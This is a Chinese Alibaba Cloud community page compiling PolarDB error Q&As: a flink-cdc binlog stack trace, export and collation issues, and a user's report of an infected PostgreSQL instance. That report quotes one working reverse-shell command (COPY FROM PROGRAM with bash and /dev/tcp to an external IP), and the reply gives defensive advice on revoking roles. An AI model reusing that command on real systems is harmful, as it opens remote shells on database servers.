PolarDB操作报错合集之在进行批量导出数据时,如何过滤掉视图并只导出表

本文涉及的产品
云原生数据库 PolarDB 分布式版,标准版 2核8GB
云原生数据库 PolarDB PostgreSQL 版,标准版 2核4GB 50GB
云原生数据库 PolarDB MySQL 版,通用型 2核8GB 50GB
简介: 在使用阿里云的PolarDB(包括PolarDB-X)时,用户可能会遇到各种操作报错。下面汇总了一些常见的报错情况及其可能的原因和解决办法:1.安装PolarDB-X报错、2.PolarDB安装后无法连接、3.PolarDB-X 使用rpm安装启动卡顿、4.PolarDB执行UPDATE/INSERT报错、5.DDL操作提示“Lock conflict”、6.数据集成时联通PolarDB报错、7.编译DN报错(RockyLinux)、8.CheckStorage报错(源数据库实例被删除)、9.嵌套事务错误(TDDL-4604)。

问题一:PolarDB这个问题怎么解决?


PolarDB这个问题怎么解决?用flink-cdc监控咱们polardb的binlog,当表的索引有json类型索引的时候,会报如下的错误,在原生mysql8或者其他云数据库上对比,没有这个问题。2024-03-04 11:02:26

java.lang.RuntimeException: One or more fetchers have encountered exception

at org.apache.flink.connector.base.source.reader.fetcher.SplitFetcherManager.checkErrors(SplitFetcherManager.java:263)

at org.apache.flink.connector.base.source.reader.SourceReaderBase.getNextFetch(SourceReaderBase.java:185)

at org.apache.flink.connector.base.source.reader.SourceReaderBase.pollNext(SourceReaderBase.java:147)

at org.apache.flink.streaming.api.operators.SourceOperator.emitNext(SourceOperator.java:419)

at org.apache.flink.streaming.runtime.io.StreamTaskSourceInput.emitNext(StreamTaskSourceInput.java:68)

at org.apache.flink.streaming.runtime.io.StreamOneInputProcessor.processInput(StreamOneInputProcessor.java:65)

at org.apache.flink.streaming.runtime.tasks.StreamTask.processInput(StreamTask.java:562)

at org.apache.flink.streaming.runtime.tasks.mailbox.MailboxProcessor.runMailboxLoop(MailboxProcessor.java:231)

at org.apache.flink.streaming.runtime.tasks.StreamTask.runMailboxLoop(StreamTask.java:858)

at org.apache.flink.streaming.runtime.tasks.StreamTask.invoke(StreamTask.java:807)

at org.apache.flink.runtime.taskmanager.Task.runWithSystemExitMonitoring(Task.java:953)

at org.apache.flink.runtime.taskmanager.Task.restoreAndInvoke(Task.java:932)

at org.apache.flink.runtime.taskmanager.Task.doRun(Task.java:746)

at org.apache.flink.runtime.taskmanager.Task.run(Task.java:562)

at java.base/java.lang.Thread.run(Thread.java:834)

Caused by: java.lang.RuntimeException: SplitFetcher thread 0 received unexpected exception while polling the records

at org.apache.flink.connector.base.source.reader.fetcher.SplitFetcher.runOnce(SplitFetcher.java:168)

at org.apache.flink.connector.base.source.reader.fetcher.SplitFetcher.run(SplitFetcher.java:117)

at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515)

at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)

at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)

at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)

... 1 more

Caused by: com.ververica.cdc.connectors.shaded.org.apache.kafka.connect.errors.ConnectException: An exception occurred in the change event producer. This connector will be stopped.

at io.debezium.pipeline.ErrorHandler.setProducerThrowable(ErrorHandler.java:50)

at com.ververica.cdc.connectors.mysql.debezium.task.context.MySqlErrorHandler.setProducerThrowable(MySqlErrorHandler.java:85)

at io.debezium.connector.mysql.MySqlStreamingChangeEventSource$ReaderThreadLifecycleListener.onEventDeserializationFailure(MySqlStreamingChangeEventSource.java:1553)

at com.github.shyiko.mysql.binlog.BinaryLogClient.listenForEventPackets(BinaryLogClient.java:1064)

at com.github.shyiko.mysql.binlog.BinaryLogClient.connect(BinaryLogClient.java:631)

at com.github.shyiko.mysql.binlog.BinaryLogClient$7.run(BinaryLogClient.java:932)

... 1 more

Caused by: io.debezium.DebeziumException: Failed to deserialize data of EventHeaderV4{timestamp=1709519278000, eventType=TABLE_MAP, serverId=27570245, headerLength=19, dataLength=157, nextPosition=18249559, flags=0}

at io.debezium.connector.mysql.MySqlStreamingChangeEventSource.wrap(MySqlStreamingChangeEventSource.java:1488)

... 5 more

Caused by: com.github.shyiko.mysql.binlog.event.deserialization.EventDataDeserializationException: Failed to deserialize data of EventHeaderV4{timestamp=1709519278000, eventType=TABLE_MAP, serverId=27570245, headerLength=19, dataLength=157, nextPosition=18249559, flags=0}

at com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer.deserializeEventData(EventDeserializer.java:341)

at com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer.deserializeTableMapEventData(EventDeserializer.java:313)

at com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer.nextEvent(EventDeserializer.java:237)

at io.debezium.connector.mysql.MySqlStreamingChangeEventSource$1.nextEvent(MySqlStreamingChangeEventSource.java:259)

at com.github.shyiko.mysql.binlog.BinaryLogClient.listenForEventPackets(BinaryLogClient.java:1051)

... 3 more

Caused by: java.io.IOException: Stumbled upon long even though int expected

at com.github.shyiko.mysql.binlog.io.ByteArrayInputStream.readPackedInteger(ByteArrayInputStream.java:157)

at com.github.shyiko.mysql.binlog.event.deserialization.TableMapEventMetadataDeserializer.deserialize(TableMapEventMetadataDeserializer.java:67)

at com.github.shyiko.mysql.binlog.event.deserialization.TableMapEventDataDeserializer.deserialize(TableMapEventDataDeserializer.java:59)

at com.github.shyiko.mysql.binlog.event.deserialization.TableMapEventDataDeserializer.deserialize(TableMapEventDataDeserializer.java:37)


参考回答:

对比的其它 mysql 版本是什么,不同 mysql 版本在 binlog 格式上会有不同。应该是 flink cdc 没有做兼容导致了报错,具体问题可以给 flinkcdc 社区提 issue,可以搜到相关 issue:https://github.com/ververica/flink-cdc-connectors/issues/2192 


关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/604437


问题二:PolarDB这个问题怎么解决?


PolarDB这个问题怎么解决?


参考回答:

不支持动态改库编码。


关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603804


问题三:在PolarDB用 bacth-pool导出数据时,怎么过滤掉视图?


在PolarDB用 bacth-pool导出数据时,怎么过滤掉视图?导出视图时报错java.lang.RuntimeException: Unable to get topology of table v_test


参考回答:

你好,目前对视图没有适配好 可能需要写个脚本单独指定要导出的表,后续会修复这个问题。


关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603802


问题四:PolarDB建库指定排序规则不生效吗?


PolarDB建库指定排序规则不生效吗?


参考回答:

PolarDB(基于 MySQL 协议的兼容数据库)在建库时通常允许指定排序规则(collation)。排序规则决定了数据库中字符串的比较和排序方式,以及字符串的存储格式。如果你在创建数据库时指定了排序规则,但发现它并没有生效,这可能是由以下几个原因造成的:

  1. 客户端与服务器不匹配:确保你的客户端(例如 MySQL 命令行工具或应用程序)与 PolarDB 服务器使用相同的字符集和排序规则。如果客户端和服务器使用的排序规则不一致,可能会导致查询结果或数据导入/导出时的显示不一致。
  2. 表或列的排序规则覆盖:即使在创建数据库时指定了排序规则,你也可以在创建表或列时覆盖这个设置。检查你的表或列定义,确保它们没有使用不同的排序规则。
  3. 默认值或继承:有时,如果你没有明确指定排序规则,系统可能会使用默认值或继承自其他对象的设置。检查 PolarDB 的文档,了解在没有指定排序规则时,它会如何确定使用的排序规则。
  4. 版本差异:不同的 PolarDB 版本可能对排序规则的处理有所不同。确保你查看的是与你使用的版本相对应的文档,并了解该版本的特定行为。
  5. 查看实际使用的排序规则:使用 SQL 查询来检查数据库、表或列实际使用的排序规则。例如,你可以使用 SHOW CREATE DATABASE your_database_name; 来查看数据库的创建语句,包括排序规则。
  6. 错误或遗漏:检查你的 SQL 语句是否有语法错误或遗漏。确保你正确地指定了排序规则,并且语法符合 PolarDB 的要求。


关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603792


问题五:polardb中postgres中毒了,帮忙出出主意?


polardb中postgres中毒了,帮忙出出主意COPY cmd_exec FROM PROGRAM 'bash -c ''exec bash -i &>/dev/tcp/148.100.77.187/6655 <&1'''

刚发现的,目前还没解决思路


参考回答:

应用账号的这3个角色权限有的话,取消掉吧 pg_execute_server_program, pg_read_server_files , pg_write_server_files


关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603662

相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
相关文章
|
6月前
|
存储 人工智能 Cloud Native
云栖重磅|从数据到智能:Data+AI驱动的云原生数据库
在9月20日2024云栖大会上,阿里云智能集团副总裁,数据库产品事业部负责人,ACM、CCF、IEEE会士(Fellow)李飞飞发表《从数据到智能:Data+AI驱动的云原生数据库》主题演讲。他表示,数据是生成式AI的核心资产,大模型时代的数据管理系统需具备多模处理和实时分析能力。阿里云瑶池将数据+AI全面融合,构建一站式多模数据管理平台,以数据驱动决策与创新,为用户提供像“搭积木”一样易用、好用、高可用的使用体验。
云栖重磅|从数据到智能:Data+AI驱动的云原生数据库
|
6月前
|
人工智能 关系型数据库 分布式数据库
拥抱Data+AI|“全球第一”雅迪如何实现智能营销?DMS+PolarDB注入数据新活力
针对雅迪“云销通App”的需求与痛点,本文将介绍阿里云瑶池数据库DMS+PolarDB for AI提供的一站式Data+AI解决方案,助力销售人员高效用数,全面提升销售管理效率。
|
4月前
|
存储 关系型数据库 分布式数据库
PolarDB PG 版冷热数据分层功能介绍
本文介绍了云原生数据库PolarDB PG版的冷热数据分层存储功能,涵盖其原理、特性及最佳实践。冷热分层存储通过将冷数据归档至OSS(对象存储服务),实现低成本高效存储,同时保持SQL操作透明性和性能优化。支持多种分层模式,如表与索引分层、大字段独立归档等,并提供压缩和缓存机制以提升访问速度。此外,还介绍了如何通过DDL语句轻松转存数据至OSS,以及一系列最佳实践,包括自动冷热分层、无锁表转存和一键转存等功能。
293 36
|
3月前
|
SQL 关系型数据库 分布式数据库
PolarDB 开源基础教程系列 7.1 快速构建“海量逼真”数据
本文介绍了如何使用PostgreSQL和PolarDB快速生成“海量且逼真”的测试数据,以满足不同业务场景的需求。传统数据库测试依赖标准套件(如TPC-C、TPC-H),难以生成符合特定业务特征的复杂数据。通过自定义函数(如`gen_random_int`、`gen_random_string`等)、SRF函数(如`generate_series`)和pgbench工具,可以高效生成大规模、高仿真度的数据,并进行压力测试。文中还提供了多个示例代码展示.
90 7
|
3月前
|
人工智能 关系型数据库 分布式数据库
阿里云PolarDB重磅发布云原生与Data+AI新特性,打造智能时代数据引擎
阿里云PolarDB重磅发布云原生与Data+AI新特性,打造智能时代数据引擎
148 0
|
7月前
|
存储 人工智能 Cloud Native
云栖重磅|从数据到智能:Data+AI驱动的云原生数据库
阿里云瑶池在2024云栖大会上重磅发布由Data+AI驱动的多模数据管理平台DMS:OneMeta+OneOps,通过统一、开放、多模的元数据服务实现跨环境、跨引擎、跨实例的统一治理,可支持高达40+种数据源,实现自建、他云数据源的无缝对接,助力业务决策效率提升10倍。
|
8月前
|
存储 人工智能 Cloud Native
云栖重磅|从数据到智能:Data+AI驱动的云原生数据库
阿里云数据库重磅升级!元数据服务OneMeta + OneOps统一管理多模态数据
|
3月前
|
存储 NoSQL 关系型数据库
PolarDB开源数据库进阶课17 集成数据湖功能
本文介绍了如何在PolarDB数据库中接入pg_duckdb、pg_mooncake插件以支持数据湖功能, 可以读写对象存储的远程数据, 支持csv, parquet等格式, 支持delta等框架, 并显著提升OLAP性能。
145 1
|
3月前
|
存储 关系型数据库 分布式数据库
PolarDB开源数据库进阶课15 集成DeepSeek等大模型
本文介绍了如何在PolarDB数据库中接入私有化大模型服务,以实现多种应用场景。实验环境依赖于Docker容器中的loop设备模拟共享存储,具体搭建方法可参考相关系列文章。文中详细描述了部署ollama服务、编译并安装http和openai插件的过程,并通过示例展示了如何使用这些插件调用大模型API进行文本分析和情感分类等任务。此外,还探讨了如何设计表结构及触发器函数自动处理客户反馈数据,以及生成满足需求的SQL查询语句。最后对比了不同模型的回答效果,展示了deepseek-r1模型的优势。
182 0
|
3月前
|
存储 关系型数据库 分布式数据库
PolarDB开源数据库进阶课14 纯享单机版
PolarDB不仅支持基于“共享存储+多计算节点”的集群版,还提供类似开源PostgreSQL的单机版。单机版部署简单,适合大多数应用场景,并可直接使用PostgreSQL生态插件。通过Docker容器、Git克隆代码、编译软件等步骤,即可完成PolarDB单机版的安装与配置。具体操作包括启动容器、进入容器、克隆代码、编译软件、初始化实例、配置参数及启动数据库。此外,还有多个相关教程和视频链接供参考,帮助用户更好地理解和使用PolarDB单机版。
130 0

相关产品

  • 云原生数据库 PolarDB